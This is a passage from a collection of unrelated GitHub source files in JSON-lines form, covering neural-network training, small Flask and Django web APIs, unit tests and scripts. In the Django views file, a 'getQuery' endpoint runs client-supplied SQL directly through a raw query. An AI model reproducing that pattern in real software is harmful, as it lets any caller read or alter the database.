!= 0]\n text = \" \".join(lines)\n\n#文字の集合をインデックス処理する\nchars = set(text)\nnb_chars = len(chars)\nchar2index = dict((c, i) for i, c in enumerate(chars))\nindex2char = dict((i, c) for i, c in enumerate(chars))\n\n#入力テキストとラベルテキストを作成する。\nSEQLEN = 10\nSTEP = 1\n\ninput_chars = []\nlabel_chars = []\nfor i in range(0, len(text) - SEQLEN, STEP):\n input_chars.append(text[i:i + SEQLEN])\n label_chars.append(text[i + SEQLEN])\n\nprint(\"Vectorizing input and label text...\")\n\n#=================================================================\n#入力テキストとラベルテキストをベクトル化する\n#================================================================\n#RNNへの入力の各行は、前に示した入力テキストの一つに対応する。\n#各入力文字をnb_chars次元のone-hotエンコードされたベクトルとして表現する。\n#各入力行のテンソルのサイズは(SEQLEN, nb_chars)\nX = np.zeros((len(input_chars), SEQLEN, nb_chars), dtype=np.bool)\ny = np.zeros((len(input_chars), nb_chars), dtype=np.bool)\nfor i, input_char in enumerate(input_chars):\n for j, ch in enumerate(input_char):\n X[i, j, char2index[ch]] = 1\n y[i, char2index[label_chars[i]]] = 1\n\n\n\n# Build the model. We use a single RNN with a fully connected layer\n# to compute the most likely predicted output char\n# 値が小さすぎるとやはり自然なテキストとして表現するのは難しくなる。\nHIDDEN_SIZE = 128\nBATCH_SIZE = 128\nNUM_ITERATIONS = 25\nNUM_EPOCHS_PER_ITERATION = 1\nNUM_PREDS_PER_EPOCH = 100\n\nmodel = Sequential()\nmodel.add(SimpleRNN(HIDDEN_SIZE, return_sequences=False,\n input_shape=(SEQLEN, nb_chars),\n unroll=True))\nmodel.add(Dense(nb_chars))\nmodel.add(Activation(\"softmax\"))\n\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=\"rmsprop\")\n\n# We train the model in batches and test output generated at each step\nfor iteration in range(NUM_ITERATIONS):\n print(\"=\" * 50)\n print(\"Iteration #: {}\".format(iteration))\n model.fit(X, y, batch_size=BATCH_SIZE, epochs=NUM_EPOCHS_PER_ITERATION)\n\n # testing model\n # randomly choose a row from input_chars, then use it to\n # generate text from model for next 100 chars\n test_idx = np.random.randint(len(input_chars))\n test_chars = input_chars[test_idx]\n print(\"Generating from seed: {}\".format(test_chars))\n print(test_chars, end=\"\")\n for i in range(NUM_PREDS_PER_EPOCH):\n Xtest = np.zeros((1, SEQLEN, nb_chars))\n for j, ch in enumerate(test_chars):\n Xtest[0, j, char2index[ch]] = 1\n pred = model.predict(Xtest, verbose=0)[0]\n ypred = index2char[np.argmax(pred)]\n print(ypred, end=\"\")\n # move forward with test_chars + ypred\n test_chars = test_chars[1:] + ypred\n print()","repo_name":"koki-u/keras_and_python","sub_path":"ch06/alice.py","file_name":"alice.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"19236324789","text":"from flask import Flask, render_template, request\nfrom k_delete import delete_from_kadrlar_bazasi\nfrom k_insert import open_insert_to_kadrlar_bazasi\n\napp = Flask(__name__)\napp.config[\"debug\"] = True\n\n\n@app.route('/', methods=[\"POST\", \"GET\"])\ndef index():\n return render_template('index.html') # ЗАПУСТИМ ИНДЕКС html\n\n\n# ---------------------------------------------------------------------- для отдела кадров\n@app.route('/k_insert', methods=[\"POST\", \"GET\"])\ndef kadr():\n if request.method == 'POST':\n id1 = request.form[\"id\"]\n int_id = int(id1)\n first_name = request.form[\"first_name\"]\n sur_name = request.form[\"sur_name\"]\n father_name = request.form[\"father_name\"]\n photo = request.form[\"photo\"]\n if int_id > 0:\n open_insert_to_kadrlar_bazasi(int_id, first_name, sur_name, father_name, photo)\n return render_template('k_insert.html') # ЗАПУСТИМ k_insert.html\n\n# --------------------------Insert Data to Table in DB\n\n\n@app.route('/k_delete', methods=[\"POST\", \"GET\"])\ndef kadr_search():\n\n if request.method == 'POST':\n id1 = request.form[\"id\"]\n int_id = int(id1)\n if int_id > 0:\n delete_from_kadrlar_bazasi(int_id)\n print(int_id)\n return render_template('k_delete.html') # ЗАПУСТИМ k_insert.html\n# --------------------------Insert Data to Table in DB\n\n\nif __name__ == \"__main__\":\n app.run()\n #app.run(host='192.168.1.37')\n","repo_name":"Namiqefendiyev/Stop_version_kadr","sub_path":"MyFlask.py","file_name":"MyFlask.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"3443888931","text":"import warnings\nwarnings.filterwarnings('ignore')\nimport os\nimport sys\nimport time\nimport random\nimport string\nimport argparse\nimport re\n\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn.init as init\nimport torch.optim as optim\nimport torch.utils.data\nimport numpy as np\nimport copy\n\nfrom utils import Averager, TokenLabelConverter\nfrom dataset import hierarchical_dataset, AlignCollate, Batch_Balanced_Dataset\nfrom models import Model\nfrom test_final import validation\nfrom utils import get_args\nimport utils_dist as utils\n\nimport torch.nn as nn\nfrom torch.optim.lr_scheduler import CosineAnnealingLR\nimport torch.nn.functional as F\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nimport datetime\ndef format_time(time):\n days = 0\n if time > 86400:\n days = int(time // 86400)\n time = time - days*86400\n date = datetime.datetime.utcfromtimestamp(time)\n output = datetime.datetime.strftime(date, \"%H:%M:%S\")\n return f'{days:d}days {output}' if days > 0 else output\n \nclass SoftCrossEntropyLoss(nn.Module):\n def __init__(self, reduction=\"mean\"):\n super().__init__()\n self.reduction = reduction\n\n def forward(self, input, target, softmax=True):\n if softmax: log_prob = F.log_softmax(input, dim=-1)\n else: log_prob = torch.log(input)\n loss = -(target * log_prob).sum(dim=-1)\n if self.reduction == \"mean\": return loss.mean()\n elif self.reduction == \"sum\": return loss.sum()\n else: return loss\n\ndef train(opt):\n \"\"\" dataset preparation \"\"\"\n if not opt.data_filtering_off:\n print('Filtering the images containing characters which are not in opt.character')\n print('Filtering the images whose label is longer than opt.batch_max_length')\n # see https://github.com/clovaai/deep-text-recognition-benchmark/blob/6593928855fb7abb999a99f428b3e4477d4ae356/dataset.py#L130\n\n opt.select_data = opt.select_data.split('-')\n opt.batch_ratio = opt.batch_ratio.split('-')\n opt.eval = False\n train_dataset = Batch_Balanced_Dataset(opt)\n\n log = open(f'{opt.saved_path}/{opt.exp_name}/log_dataset.txt', 'a')\n\n val_opt = copy.deepcopy(opt)\n val_opt.eval = True\n \n if opt.sensitive:\n opt.data_filtering_off = True\n AlignCollate_valid = AlignCollate(imgH=opt.imgH, imgW=opt.imgW, keep_ratio_with_pad=opt.PAD, opt=val_opt)\n valid_dataset, _ = hierarchical_dataset(root=opt.valid_data, opt=val_opt)\n valid_loader = torch.utils.data.DataLoader(\n valid_dataset, batch_size=opt.batch_size,\n shuffle=True, # 'True' to check training progress with validation function.\n num_workers=int(opt.workers),\n collate_fn=AlignCollate_valid, pin_memory=True)\n \n \n print('-' * 80)\n log.write('-' * 80 + '\\n')\n log.close()\n \n \"\"\" model configuration \"\"\"\n converter = TokenLabelConverter(opt)\n \n opt.num_class = len(converter.character)\n\n if opt.rgb:\n opt.input_channel = 3\n\n model = Model(opt)\n\n print(model)\n\n # data parallel for multi-GPU\n model.to(device)\n model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[opt.gpu], find_unused_parameters=False)\n \n model.train()\n \n if opt.saved_model != '':\n print(f'loading pretrained model from {opt.saved_model}')\n model.load_state_dict(torch.load(opt.saved_model, map_location='cpu'), strict=True)\n\n \"\"\" setup loss \"\"\"\n criterion = torch.nn.CrossEntropyLoss(ignore_index=0).to(device) # ignore [GO] token = ignore index 0\n \n # loss averager\n loss_avg = Averager()\n\n # filter that only require gradient decent\n filtered_parameters = []\n params_num = []\n for p in filter(lambda p: p.requires_grad, model.parameters()):\n filtered_parameters.append(p)\n params_num.append(np.prod(p.size()))\n\n # setup optimizer\n optimizer = optim.Adam(filtered_parameters, lr=opt.lr, betas=(opt.beta1, opt.beta2))\n\n scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=opt.drop_iter, gamma=0.1)\n\n \"\"\" final options \"\"\"\n with open(f'{opt.saved_path}/{opt.exp_name}/opt.txt', 'a') as opt_file:\n opt_log = '------------ Options -------------\\n'\n args = vars(opt)\n for k, v in args.items():\n opt_log += f'{str(k)}: {str(v)}\\n'\n opt_log += '---------------------------------------\\n'\n #print(opt_log)\n opt_file.write(opt_log)\n total_params = int(sum(params_num))\n total_params = f'Trainable network params num : {total_params:,}\\n'\n print(total_params)\n opt_file.write(total_params)\n\n \"\"\" start training \"\"\"\n start_iter = 0\n if opt.saved_model != '':\n try:\n start_iter = int(opt.saved_model.split('_')[-1].split('.')[0])\n print(f'continue to train, start_iter: {start_iter}')\n except:\n pass\n\n best_accuracy = -1\n iteration = start_iter\n \n print(\"LR\",scheduler.get_last_lr()[0])\n \n start_time = time.time()\n while(True):\n # train part\n image_tensors, labels = train_dataset.get_batch()\n image = image_tensors.to(device)\n \n len_target, char_target = converter.char_encode(labels)\n\n char_preds = model(image)\n \n it = char_preds.shape[0] // char_target.shape[0]\n char_target = char_target.repeat(it, 1)\n \n char_preds = char_preds.view(-1, char_preds.shape[-1])\n \n char_loss = criterion(char_preds, char_target.contiguous().view(-1))\n cost = char_loss \n\n model.zero_grad()\n cost.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), opt.grad_clip) # gradient clipping with 20 (Default)\n optimizer.step()\n\n loss_avg.add(cost)\n\n if utils.is_main_process() and ((iteration + 1) % opt.show_iter == 0):\n remain_time = format_time((time.time() - start_time) * (opt.num_iter - iteration - 1) / (iteration+1-start_iter))\n with open(f'{opt.saved_path}/{opt.exp_name}/log_train.txt', 'a') as log:\n loss_log = f'[{iteration+1}/{opt.num_iter}]\\tLR: {scheduler.get_last_lr()[0]:0.5f}, \\tTrain loss: {loss_avg.val():0.5f}, \\tRemain Time: {remain_time}'\n print(loss_log)\n log.write(loss_log + '\\n')\n\n # validation part\n if utils.is_main_process() and ((iteration + 1) % opt.valInterval == 0):\n # for log\n print(\"LR\",scheduler.get_last_lr()[0])\n with open(f'{opt.saved_path}/{opt.exp_name}/log_train.txt', 'a') as log:\n model.eval()\n \n with torch.no_grad():\n valid_loss, current_accuracy, char_preds, confidence_score, labels, length_of_data, _ = validation(\n model, criterion, valid_loader, converter, opt)\n model.train()\n\n loss_log = f'[{iteration+1}/{opt.num_iter}] LR: {scheduler.get_last_lr()[0]:0.5f}, Train loss: {loss_avg.val():0.5f}, Valid loss: {valid_loss:0.5f}'\n loss_avg.reset()\n current_model_log = f'{\"Word_accuracy\":17s}: {current_accuracy:0.3f}'\n\n # keep best accuracy model (on valid dataset)\n if current_accuracy > best_accuracy:\n best_accuracy = current_accuracy\n torch.save(model.state_dict(), f'{opt.saved_path}/{opt.exp_name}/best_accuracy.pth')\n best_model_log = f'{\"Best_accuracy\":17s}: {best_accuracy:0.3f}'\n\n loss_model_log = f'{loss_log}\\n{current_model_log}\\n{best_model_log}'\n print(loss_model_log)\n log.write(loss_model_log + '\\n')\n\n # show some predicted results\n dashed_line = '-' * 80\n head = f'{\"Ground Truth\":25s} | {\"Prediction\":25s} | Confidence Score & T/F'\n predicted_result_log = f'{dashed_line}\\n{head}\\n{dashed_line}\\n'\n for gt, pred, confidence in zip(labels[:5], char_preds[:5], confidence_score[:5]):\n pred = pred[:pred.find('[s]')]\n\n # To evaluate 'case sensitive model' with alphanumeric and case insensitve setting.\n if opt.sensitive and opt.data_filtering_off:\n pred = pred.lower()\n gt = gt.lower()\n alphanumeric_case_insensitve = '0123456789abcdefghijklmnopqrstuvwxyz'\n out_of_alphanumeric_case_insensitve = f'[^{alphanumeric_case_insensitve}]'\n pred = re.sub(out_of_alphanumeric_case_insensitve, '', pred)\n gt = re.sub(out_of_alphanumeric_case_insensitve, '', gt)\n\n predicted_result_log += f'{gt:25s} | {pred:25s} | {confidence:0.4f}\\t{str(pred == gt)}\\n'\n predicted_result_log += f'{dashed_line}'\n print(predicted_result_log)\n log.write(predicted_result_log + '\\n')\n\n # save model per 1e+5 iter.\n if utils.is_main_process() and (iteration + 1) % 5e+3 == 0:\n # torch.save(\n # model.state_dict(), f'{opt.saved_path}/{opt.exp_name}/iter_{iteration+1}.pth')\n pass\n\n if (iteration + 1) == opt.num_iter:\n print('end the training')\n sys.exit()\n iteration += 1\n if scheduler is not None:\n scheduler.step()\n\nif __name__ == '__main__':\n\n opt = get_args()\n\n if not opt.exp_name:\n opt.exp_name = f'{opt.backbone}-trans{opt.trans_ln}'\n\n opt.exp_name += f'-Seed{opt.manualSeed}'\n\n os.makedirs(f'{opt.saved_path}/{opt.exp_name}', exist_ok=True)\n\n \"\"\" vocab / character number configuration \"\"\"\n if opt.sensitive:\n opt.character = string.printable[:-6] # same with ASTER setting (use 94 char).\n if opt.char_dic != '':\n character = ''\n with open(opt.char_dic, 'r') as f:\n chars = f.readlines()\n for char in chars:\n character += char.split('\\n')[0]\n opt.character = character\n \n utils.init_distributed_mode(opt)\n\n print(opt)\n \n \"\"\" Seed and GPU setting \"\"\"\n \n seed = opt.manualSeed + utils.get_rank()\n \n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n\n cudnn.benchmark = True\n cudnn.deterministic = True\n opt.num_gpu = torch.cuda.device_count()\n \n num_tasks = utils.get_world_size()\n global_rank = utils.get_rank()\n \n train(opt)\n\n","repo_name":"CyrilSterling/LPV","sub_path":"train_final_dist.py","file_name":"train_final_dist.py","file_ext":"py","file_size_in_byte":10566,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"2"} +{"seq_id":"72058345967","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom django.conf import settings\nfrom rest_framework import status\nfrom rest_framework.generics import CreateAPIView\nfrom rest_framework.response import Response\nfrom main.models import Restaurant,Product\nfrom django.shortcuts import get_object_or_404\nfrom main.api.serializers import (\n RestaurantSerializer,ProductSerializer\n)\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework.authtoken.models import Token\nimport json\n\nfrom django.http import JsonResponse\nfrom django.forms.models import model_to_dict\n\n\n\n\nclass getQuery(CreateAPIView):\n serializer_class = RestaurantSerializer\n\n def post(self, request, format=None):\n serializer = self.serializer_class(\n data=request.data,\n )\n if serializer.is_valid():\n query = serializer.validated_data['query']\n print(query)\n restaurant_list=Restaurant.objects.raw(query)\n # print(restaurant_list)\n # dict={}\n # for object in restaurant_list:\n # # dict[object.name] = [] # converts ValuesQuerySet into Python list\n # # dict[object.name]={'city':object.city,'address':object.address,'photo':object.photo,'description':object.description,'email':object.email,'contact_number':object.contact_number}\n dict1={}\n i=0\n for object in restaurant_list:\n # dict= model_to_dict(object)\n dict1[i]={'name':object.name,'city':object.city,'address':object.address,'description':object.description,'email':object.email,'contact_number':object.contact_number}\n i=i+1\n print(dict1)\n return Response(dict1)\n\n\n\n\nclass getProduct(CreateAPIView):\n serializer_class = ProductSerializer\n\n def post(self, request, format=None):\n serializer = self.serializer_class(\n data=request.data,\n )\n if serializer.is_valid():\n restaurant = serializer.validated_data['restaurant']\n print(restaurant)\n restaurantID=Restaurant.objects.filter(name=restaurant).first()\n print(restaurantID)\n product=Product.objects.filter(restaurant=restaurantID)\n dict1={}\n i=0\n for object in product:\n # dict= model_to_dict(object)\n dict1[i]={'name':object.name,'description':object.description,'add_ons':object.add_ons,'price':object.price}\n i=i+1\n print(dict1)\n return Response(dict1)\n","repo_name":"jatin2810/Eatler-new-4.0","sub_path":"main/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"13956624130","text":"import unittest\nfrom unittest.mock import (\n AsyncMock,\n MagicMock,\n call,\n)\n\nfrom psycopg2.sql import (\n SQL,\n)\n\nfrom minos.common.testing import (\n PostgresAsyncTestCase,\n)\nfrom minos.networks import (\n BrokerConsumer,\n)\nfrom tests.utils import (\n BASE_PATH,\n Message,\n)\n\n\nclass _ConsumerClient:\n \"\"\"For testing purposes.\"\"\"\n\n def __init__(self, messages=None):\n if messages is None:\n messages = [Message(topic=\"TicketAdded\", partition=0, value=bytes())]\n self.messages = messages\n\n async def start(self):\n \"\"\"For testing purposes.\"\"\"\n\n async def stop(self):\n \"\"\"For testing purposes.\"\"\"\n\n def subscribe(self, *args, **kwargs):\n \"\"\"For testing purposes.\"\"\"\n\n def unsubscribe(self):\n \"\"\"For testing purposes.\"\"\"\n\n async def getmany(self, *args, **kwargs):\n \"\"\"For testing purposes.\"\"\"\n return dict(enumerate(self.messages))\n\n async def __aiter__(self):\n for message in self.messages:\n yield message\n\n async def commit(self, *args, **kwargs):\n \"\"\"For testing purposes.\"\"\"\n\n\nclass TestConsumer(PostgresAsyncTestCase):\n CONFIG_FILE_PATH = BASE_PATH / \"test_config.yml\"\n\n def setUp(self) -> None:\n super().setUp()\n\n self.client = _ConsumerClient([Message(topic=\"AddOrder\", partition=0, value=b\"test\")])\n # noinspection PyTypeChecker\n self.consumer = BrokerConsumer(\n topics={f\"{self.config.service.name}Reply\"},\n broker=self.config.broker,\n client=self.client,\n **self.config.broker.queue._asdict(),\n )\n\n async def asyncSetUp(self):\n await super().asyncSetUp()\n await self.consumer.setup()\n\n async def asyncTearDown(self):\n await self.consumer.destroy()\n await super().asyncTearDown()\n\n def test_from_config(self):\n expected_topics = {\n \"AddOrder\",\n \"DeleteOrder\",\n \"GetOrder\",\n \"TicketAdded\",\n \"TicketDeleted\",\n \"UpdateOrder\",\n }\n\n consumer = BrokerConsumer.from_config(config=self.config)\n self.assertIsInstance(consumer, BrokerConsumer)\n self.assertEqual(expected_topics, consumer.topics)\n self.assertEqual(self.config.broker, consumer._broker)\n self.assertEqual(self.config.broker.queue.host, consumer.host)\n self.assertEqual(self.config.broker.queue.port, consumer.port)\n self.assertEqual(self.config.broker.queue.database, consumer.database)\n self.assertEqual(self.config.broker.queue.user, consumer.user)\n self.assertEqual(self.config.broker.queue.password, consumer.password)\n\n def test_empty_topics(self):\n # noinspection PyTypeChecker\n consumer = BrokerConsumer(broker=self.config.broker, client=self.client, **self.config.broker.queue._asdict())\n self.assertEqual(set(), consumer.topics)\n\n def test_topics(self):\n self.assertEqual({\"OrderReply\"}, self.consumer.topics)\n\n async def test_add_topic(self):\n mock = MagicMock()\n self.consumer.client.subscribe = mock\n await self.consumer.add_topic(\"foo\")\n self.assertEqual({\"foo\", \"OrderReply\"}, self.consumer.topics)\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(topics=list(self.consumer.topics)), mock.call_args)\n\n async def test_remove_topic(self):\n mock = MagicMock()\n self.consumer.client.subscribe = mock\n\n await self.consumer.add_topic(\"AddOrder\")\n mock.reset_mock()\n\n await self.consumer.remove_topic(\"AddOrder\")\n\n self.assertEqual({\"OrderReply\"}, self.consumer.topics)\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(topics=list(self.consumer.topics)), mock.call_args)\n\n async def test_remove_all_topics(self):\n mock = MagicMock()\n self.consumer.client.unsubscribe = mock\n\n await self.consumer.remove_topic(\"OrderReply\")\n self.assertEqual(set(), self.consumer.topics)\n\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(), mock.call_args)\n\n async def test_dispatch(self):\n mock = MagicMock(side_effect=self.consumer.handle_message)\n self.consumer.handle_message = mock\n await self.consumer.dispatch()\n\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(self.consumer.client), mock.call_args)\n\n async def tests_handle_message(self):\n handle_single_message_mock = MagicMock(side_effect=self.consumer.handle_single_message)\n commit_mock = AsyncMock()\n\n self.client.commit = commit_mock\n self.consumer.handle_single_message = handle_single_message_mock\n await self.consumer.dispatch()\n\n self.assertEqual([call()], commit_mock.call_args_list)\n self.assertEqual([call(self.client.messages[0])], handle_single_message_mock.call_args_list)\n\n async def test_handle_single_message(self):\n mock = MagicMock(side_effect=self.consumer.enqueue)\n\n self.consumer.enqueue = mock\n await self.consumer.handle_single_message(Message(topic=\"AddOrder\", partition=0, value=b\"test\"))\n\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(\"AddOrder\", 0, b\"test\"), mock.call_args)\n\n async def test_enqueue(self):\n query = SQL(\"INSERT INTO consumer_queue (topic, partition, data) VALUES (%s, %s, %s) RETURNING id\")\n\n mock = MagicMock(side_effect=self.consumer.submit_query_and_fetchone)\n\n self.consumer.submit_query_and_fetchone = mock\n await self.consumer.enqueue(\"AddOrder\", 0, b\"test\")\n\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(query, (\"AddOrder\", 0, b\"test\")), mock.call_args)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Clariteia/minos_microservice_networks","sub_path":"tests/test_networks/test_brokers/test_handlers/test_consumers.py","file_name":"test_consumers.py","file_ext":"py","file_size_in_byte":5806,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"2"} +{"seq_id":"73591447087","text":"from flask import Flask, request\nfrom lights import cycleTo\nfrom secrets import api_key\n\napp = Flask(__name__)\n\ndef switchLights(mode):\n cycleTo(mode)\n\n@app.route(\"/\")\ndef lights_change_status():\n authheader = request.headers.get('api-key')\n\n if authheader != api_key:\n return \"Key invalid, permission denied...\", 403\n\n switchLights(int(request.args.get(\"mode\")))\n return \"Light status changed\", 200\n\n\napp.run(\"0.0.0.0\")\n","repo_name":"lriley2020/pilights","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"17839545065","text":"from simulator import *\nfrom helperfunctions import merge_data_sets\nimport os\nimport time\nimport datetime\nimport sys\nfrom Settings import Settings\n\n# Settings\nsettings = Settings()\nnum_simulations = 100\nT = 70\nN = settings.N\nfile = settings.outfile\nauto_merge = False\noverwrite = False\ntracks = []\nstart_time = time.time()\n\n# Warning\nif not auto_merge and overwrite and os.path.exists(file):\n print('')\n print(\"Caution: Exsisting Data will be Overwritten!!!\")\n print('')\n\n# Get Tracks\nfor i in range(1, num_simulations + 1):\n agents = save_simulation(N, T)\n for agent in agents:\n tracks.append(agent.history)\n time_tmp = time.time()\n time_diff = time_tmp - start_time\n average_sim_time = time_diff / (i)\n sys.stdout.write('\\r i: {} progress: {} estimated time: {}s'.format(i, round(100*i/num_simulations, 2), datetime.timedelta(seconds=average_sim_time*(num_simulations-i))))\n\n# Save:\nnp_tracks = np.asarray(tracks)\nif auto_merge and os.path.exists(file):\n merge_tracks_to_file(file, np_tracks)\nelif not overwrite and os.path.exists(file):\n np.save(file[:-4] + '__' + str(round(time.time())) + '.npy', np_tracks)\nelse:\n np.save(file, np_tracks)","repo_name":"Stefaanhess/DataScience","sub_path":"savesimulation.py","file_name":"savesimulation.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"28641608690","text":"input = {'stream_group01': {'stream_group01-EndpointSet-1 - Flow Group 0001': {'Tx Frames': '219874', 'Rx Frames': '1978866', 'Loss %': '', 'Frames Delta': '1758992', 'Tx Frame Rate': '1000.000', 'Rx Frame Rate': '9000.000'}}, \n 'stream_group02': {'stream_group02-EndpointSet-1 - Flow Group 0001': {'Tx Frames': '209257', 'Rx Frames': '1255542', 'Loss %': '', 'Frames Delta': '1046285', 'Tx Frame Rate': '1000.000', 'Rx Frame Rate': '6000.000'}},\n\t 'stream_group03': {'stream_group02-EndpointSet-1 - Flow Group 0001': {'Tx Frames': '209257', 'Rx Frames': '1255542', 'Loss %': '', 'Frames Delta': '1046285', 'Tx Frame Rate': '1000.000', 'Rx Frame Rate': '6000.000'}}}\n\n'''\noutput:\n\t\t\t\tTransmitted rate is 1000.00 and Received rate is 9000.00 on stream_group01-EndpointSet-1 - Flow Group 0001 of stream_group01\n\t\t\t\tTransmitted rate is 1000.00 and Received rate is 9000.00 on stream_group01-EndpointSet-1 - Flow Group 0001 of stream_group02\n'''\n\nfor p_id, p_info in input.items():\n #print(\"\\nPerson ID:\", p_id)\n \n for key in p_info:\n x = p_info[key]\n #print(x['Tx Frame Rate'])\n print(\"\\nTransmitted rate is \", x['Tx Frame Rate'], \n \"and Received rate is \", x['Rx Frame Rate'], \"on\", key)\n \n\n\n","repo_name":"aditya6957/Practice","sub_path":"exercise1/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71198003247","text":"import pygame\nimport arcade\n\npygame.init()\nscreen = pygame.display.set_mode()\nsize = pygame.display.get_window_size()\n\nwidth = size[0]\nheight = size[1]\n\narcade.open_window(width,height)\nscreen.fill(\"blue\")\n# arcade.set_background_color(arcade.color.BLUE)\npygame.display.flip()\npygame.time.wait(2000)\n\n \n\n","repo_name":"bucs110SPRING23/final-project-grace-podgurski-final-project","sub_path":"src/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"1667216558","text":"#!/usr/bin/python3\n\nimport os\nimport sys\n\ntestsuite = [\n {\n \"dir\": \"deposit_tests\",\n \"tests\": [\n {\n \"message\": \"deposit_fail\",\n \"output\": \"deposit_fail\",\n \"state\": \"deposit_fail\"\n },\n {\n \"message\": \"deposit_success\",\n \"output\": \"deposit_success\",\n \"state\": \"deposit_success\"\n } \n ]\n },\n {\n \"dir\": \"register_user_tests\",\n \"tests\": [\n {\n \"message\": \"register_user\",\n \"output\": \"register_user_fail_user\",\n \"state\": \"register_user_fail_user\"\n },\n {\n \"message\": \"register_user\",\n \"output\": \"register_user_fail_username\",\n \"state\": \"register_user_fail_username\"\n },\n {\n \"message\": \"register_user\",\n \"output\": \"register_user_success\",\n \"state\": \"register_user_success\"\n }\n ]\n },\n {\n \"dir\": \"verify_tweet_tests\",\n \"tests\": [\n {\n \"message\": \"verify_tweet_fail_hashtag\",\n \"output\": \"verify_tweet_fail_hashtag\",\n \"state\": \"verify_tweet_success\"\n },\n {\n \"message\": \"verify_tweet_fail_invalid_user\",\n \"output\": \"verify_tweet_fail_invalid_user\",\n \"state\": \"verify_tweet_success\"\n },\n {\n \"message\": \"verify_tweet_fail_owner\",\n \"output\": \"verify_tweet_fail_owner\",\n \"state\": \"verify_tweet_success\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_fail_tweet_unverified\",\n \"state\": \"verify_tweet_fail_tweet_unverified\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_fail_verified\",\n \"state\": \"verify_tweet_fail_verified\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_fail_within_day\",\n \"state\": \"verify_tweet_fail_within_day\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_success\",\n \"state\": \"verify_tweet_success\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_success_overwrite\",\n \"state\": \"verify_tweet_success_overwrite\"\n },\n ]\n }\n]\n\nSCILLA_DIR = \"\"\nif len(sys.argv) != 2:\n print (f\"Usage: {sys.argv[0]} scilla_dir\")\n exit (1)\nelse:\n SCILLA_DIR = sys.argv[1]\n\nfor test in testsuite:\n test_directory = test[\"dir\"]\n for test in test[\"tests\"]:\n message = f\"{test_directory}/message_{test['message']}.json\"\n output = f\"{test_directory}/output_{test['output']}.json\"\n state = f\"{test_directory}/state_{test['state']}.json\"\n command = f\"{SCILLA_DIR}/bin/scilla-runner -init init.json -istate {state} -iblockchain blockchain.json -imessage {message} -o {output} -i Twitter.scilla -libdir {SCILLA_DIR}/src/stdlib -gaslimit 8000\"\n os.system(command)","repo_name":"AmritKumar/zil-twitter","sub_path":"scilla/run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"2"} +{"seq_id":"926156531","text":"import functools\nimport os\nimport random\nimport re\nimport select\nimport shlex\nimport subprocess\n\nimport eventlet\n\nfrom neutron.agent.linux import ip_lib\nfrom neutron.agent.linux import utils\n\nCHILD_PROCESS_TIMEOUT = os.environ.get('OS_TEST_CHILD_PROCESS_TIMEOUT', 20)\nCHILD_PROCESS_SLEEP = os.environ.get('OS_TEST_CHILD_PROCESS_SLEEP', 0.5)\nREAD_TIMEOUT = os.environ.get('OS_TEST_READ_TIMEOUT', 5)\n\nSS_SOURCE_PORT_PATTERN = re.compile(\n r'^.*\\s+\\d+\\s+.*:(?P\\d+)\\s+[0-9:].*')\n\n\ndef get_free_namespace_port(tcp=True, root_helper=None, namespace=None):\n \"\"\"Return an unused port from given namespace\n\n WARNING: This function returns a port that is free at the execution time of\n this function. If this port is used later for binding then there\n is a potential danger that port will be no longer free. It's up to\n the programmer to handle error if port is already in use.\n\n :param tcp: Return free port for TCP protocol if set to True, return free\n port for UDP protocol if set to False\n \"\"\"\n if tcp:\n param = '-tna'\n else:\n param = '-una'\n\n ip_wrapper = ip_lib.IPWrapper(root_helper, namespace)\n output = ip_wrapper.netns.execute(['ss', param])\n used_ports = _get_source_ports_from_ss_output(output)\n\n return get_unused_port(used_ports)\n\n\ndef _get_source_ports_from_ss_output(output):\n ports = set()\n for line in output.splitlines():\n match = SS_SOURCE_PORT_PATTERN.match(line)\n if match:\n ports.add(match.group('port'))\n return ports\n\n\ndef get_unused_port(used, start=1024, end=65535):\n candidates = set(range(start, end + 1))\n return 